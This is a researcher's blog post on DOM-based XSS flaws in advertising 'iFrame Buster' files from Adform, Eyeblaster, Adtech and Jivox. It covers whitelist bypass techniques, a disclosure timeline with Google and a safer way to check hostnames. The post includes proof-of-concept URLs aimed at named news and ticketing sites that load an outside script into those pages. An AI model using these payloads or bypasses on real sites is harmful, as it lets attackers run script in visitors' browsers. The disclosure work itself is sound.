For those unfamiliar with modern advertising tech, iFrame Busters are HTML files hosted on publisher sites which allow ad creatives to extend outside of their standard boundaries. These expandable creatives are typically easy to identify on a site — usually the most annoying ads shown on a page.
Background
The ad tech industry is quite fragmented and processes can differ greatly between vendors. While a complete explanation of ad network delivery is beyond the scope of this post, a basic example will help illustrate how iFrames and iFrame Busters are often used with expandable creatives.
As an example, a simple (non-expanding) creative being delivered on a publisher’s page is shown below:
Note the src
attribute of the iFrame points to the advertiser’s domain which embeds the desired creative. Nothing special here — this is exactly how any other externally pointing iFrame would function. Also, notice the iFrame’s size is restricted to 300×250 — a standard ad slot size. The ad cannot extend display beyond its frame size, nor can it manipulate the DOM in the top-level page due to same-origin policy.
In order to work around this and allow a specific ad vendor to bypass SOP, vendor iFrame Busters (special HTML files) are often provided to be hosted on a publisher’s domain. A simple iFrame Buster (buster.html
) might look like this:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <body> <script type="text/javascript" language="javascript"> var _url = "http://www.domain.com/bust.js?" + document.location.search; var _script = document.createElement("script"); _script.setAttribute("type", "text/javascript"); _script.setAttribute("src", _url); document.body.appendChild(_script); </script> </body> </html>
An example publisher page (index.html
) eventually embedding the above iFrame Buster is below:
<html> <head> <title>Example Host Site</title> <base href = "https://hostsite.com" /> </head> <body> <div id="content"> Test Example </div> <div id="banner_ad"> <!-- Step 2: Initial external creative ad is rendered --> <iframe src="//ad-creative.com/showad.html?expandable=1&foo=bar"> <!-- External ad vendor creative (banner ad) typically rendered here --> <!-- Step 3: Expandable ad placement identified, redirect to https://hostsite.com/buster.html?params=here --> </iframe> </div> </body> <script> // Step 1: Ad Vendor bidding/creative logic adObj.init("banner_ad"); </script> </html>
As you can see in step 3, the iFrame embedding the initial ad is redirected to the host page’s domain where the buster.html
file resides. The buster file then has access to the parameters provided in the URL from the redirection, referencing them for the behavior of the specific ad impression.
As noted above, iFrame Busters are vendor-specific — this means a given publisher may be asked to host a multitude of third-party HTML files to support expandable functionality. In fact, until recently, Google provided a multi-vendor iFrame Buster kit for download within their DoubleClick AdExchange documentation.
Vulnerabilities
After Google initially announced the recommended removal of several busters in their kit from publisher domains, I decided to review some of the remaining busters as well as the more popular ones not used by DoubleClick. I identified DOM-based XSS vulnerabilities in most of these busters and, though I won’t walk through every one of them, I wanted to cover a few of the more interesting examples in this post.
Adform IFrame Manager (1.7.48)
I’ll begin with an older version of Adform as a simple example. The relevant source is below:
/* Adform.IFrameManager.js, version 1.7.48 Copyright Adform http://www.adform.com Date: 2016-08-24 13:50:17 */ (function(c, b) { if (!b.CACHE) { c.ADF_STUB = !0; var a = location.hash.split("#"), a = 2 < a.length ? a[2] : a[1].split("%23").slice(1).join("%23"); if (!/^(https?:|)\/\/(?:[^\/]+?\.)(adform|adformdsp)\.(com|net|local)(\/|$)/i.test(a)) throw Error('Invalid "host"'); b.document.write('<script src="' + a + '">\x3c/script>') } })(Adform = window.Adform || {}, window);
As you can see, this buster simply accepts a source URL that will be written out to the DOM as an external JavaScript source. The related regex test above is attempting to whitelist the allowed domains from which the passed script source URLs will originate.
Breaking the regex down, we can see the URL must start with “https://” and end with “{almost_anything}.adform.com” — with the exception of forward slashes, any other characters are allowed in between. Due to this poor restriction, bypassing the whitelist is easy for an attacker. For example, to embed an attacker script instead, we could use:
https://hostsite.com/adform/IFrameManager.html##https://randywestergren.com\iframe-buster-poc.js?test.adform.com
This satisfies the regex rules using a GET parameter (test.adform.com) and a malformed URL path (backslash rather than forward). As you’ll see in the following examples, most of the identified vulnerabilities follow a similar pattern of weak whitelist implementations.
Eyeblaster (Add in Eye)
The addineye iFrame Buster is still seen live on numerous top tier sites. Since the full source code is a bit lengthy, I’ll include it in a gist here.
The vulnerability is found in _prepareVerificationJsonObj
where a JSON object is prepared from the attacker-controlled document.location.search
string:
/* Snipped for brevity */ _prepareVerificationJsonObj: function(strHtml) { var strObj = {}; var arrData = strHtml.split("::"); strObj.addineyeDomain = arrData[0] ? arrData[0] : ""; strObj.ebBs = arrData[1] ? arrData[1] : "bs.serving-sys.com"; strObj.ebProtocol = arrData[2] ? arrData[2] : "http://"; return strObj; } _handleAddIneyeVerification: function(strHtml) { var myAddInEyePos = strHtml.indexOf("strAie"); var strAddInEye = ""; if (myAddInEyePos != -1) { myAddInEyePos += 6; strAddInEye = strHtml.substr(myAddInEyePos); strAddInEye = unescape(strAddInEye); addInEyeObj = this._prepareVerificationJsonObj(strAddInEye); this._sendAddInEyeVerificationToServer(addInEyeObj); } } _sendAddInEyeVerificationToServer: function(addInEyeObj) { var addineyePipe = ""; if (addInEyeObj) { addineyePipe = addInEyeObj.ebProtocol + addInEyeObj.ebBs + "/BurstingPipe/adServer.bs?cn=dmvld&dm=" + addInEyeObj.addineyeDomain; document.write("<scr" + "ipt src='" + addineyePipe + "'></scr" + "ipt>"); } }
Follow the JSON object eventually passed to _sendAddInEyeVerificationToServer
and see it’s derived from a double-colon delimited string found in the strAie
query string parameter. As you can see, an arbitrary domain and path can be set within _prepareVerificationJsonObj
without a whitelisting check. A few full (and live) PoC URLs look like this:
http://www.cnn.com/eyeblaster/addineyeV2.html?strBanner=1&strAie::randywestergren.com/iframe-buster-poc.js?::https:// https://www.fandango.com/eyeblaster/addineyeV2.html?strBanner=1&strAie::randywestergren.com/iframe-buster-poc.js?::https:// https://www.forbes.com/eyeblaster/addineyeV2.html?strBanner=1&strAie::randywestergren.com/iframe-buster-poc.js%3f::https://
Adtech
Adtech has another interesting example of a whitelist weakness. Here is the source code:
var allowed_domains = ['adserver.adtech.de', 'adserver.adtechus.com', 'aka-cdn.adtech.de', 'aka-cdn-ns.adtech.de', 'pictela.net' ]; try { var adtechIframeHashArray = self.document.location.hash.substring(1).split('|ifv|'); var domain = adtechIframeHashArray[0].match(/https?:\/\/([^:^\/]*)/i)[1]; for (var d in allowed_domains) { if (allowed_domains[d] == domain) { document.write('<scr' + 'ipt type="text/javascript" src="' + adtechIframeHashArray[0] + '"></scr' + 'ipt>'); break; } } } catch (e) {}
In this implementation, the code first attempts to extract the domain from the passed script URL and determines if it exists in the allowed_domains
whitelist array. The weakness in the regex may not be easy to spot at first, but notice how it considers anything before a colon as the parsed domain. To bypass this, an attacker simply needs to satisfy the whitelist while making the browser actually request a file from another source.
This can be done by providing embedded basic authentication credentials in the URL. An example live PoC:
http://www.ticketmaster.co.uk/adtech/iframeproxy.html#https://adserver.adtech.de:passwo[email protected]/iframe-buster-poc.js?test.adform.com|ifv|
Please note this PoC will not work in Chrome since embedded credential support has been blocked since version 59 — although it still works in most other browsers, including Firefox.
Jivox
A final example of an iFrame Buster with a different kind of weakness resulting in XSS. The relevant source:
var parameters = {}; function getValueWithDefault(key, input, defaultValue) { if (input != null && array_key_exists(key, input)) return input[key]; return defaultValue; } function array_key_exists(key, search) { return (typeof search[key] != "undefined"); } function initIBuster() { try { var queryString = unescape(document.location.search.substr(1)); var queryParameters = queryString.split('&'); for (var i = 0; i < queryParameters.length; i++) { var keyValue = queryParameters[i].split('='); parameters[keyValue[0]] = keyValue[1]; } var iBusterResourceURL = getValueWithDefault("iBusterResourceURL", parameters, ""); iBusterResourceURL = iBusterResourceURL.split("."); var filePath = getValueWithDefault("filePath", parameters, ""); document.write(unescape('%3Cscript src="' + iBusterResourceURL[0] + '.jivox.com/player/' + getValueWithDefault("iBusterVersion", parameters, "") + '/iBuster.js" type="text/javascript" %3E%3C/script%3E')); } catch (e) {} } initIBuster();
As far as an attacker is concerned, the important variable that we want to control is the iBusterResourceURL
which is ultimately used to populate the script tag’s src
attribute. The parent domain is already provided in the string writing to the DOM — this means we just need to sneak our own legitimate URL before this string is appended while making the rest irrelevant to the actual request.
Importantly, there is also a split occuring on period characters, meaning the first subdomain of the passed URL is what the code’s author had anticipated receiving. Also, notice there is an unescape
called before the document.write
. This means we can use double-encoding to satisfy both of these conditions to bypass the restriction:
https://www.foxnews.com/jivox/jivoxIBuster.html?iBusterResourceURL=https://randywestergren%252Ecom/iframe-buster-poc%252Ejs%23
Which, after URL decoding, makes the iBusterResourceURL
value:
https://randywestergren%2Ecom/iframe-buster-poc%2Ejs#
And finally, after the unescape
:
https://randywestergren.com/iframe-buster-poc.js#
The hash (fragment identifier) at the end makes the remaining hard-coded characters ineffective at controlling the URL.
Disclosure
I prepared a report detailing the additional vulnerable busters and submitted it to Google’s security team. They responded quickly, confirmed the vulnerabilities, and removed the files. Although it didn’t qualify for a reward, they did add me to their Hall of Fame. Here’s the timeline:
2018-01-03 | Initial report to Google |
2018-01-04 | Report accepted |
2018-01-05 | Discussion/clarification on specific vendor |
2018-01-16 | Marked fixed by Google |
Best Practices
Using regular expressions with whitelisting logic can be risky and difficult. If domain parsing/whitelisting is needed in JavaScript, a better solution is to use the DOM API:
var e = document.createElement("a"); e.href = "https://randywestergren.com/test?test123"; e.hostname; // => "randywestergren.com"
Share this: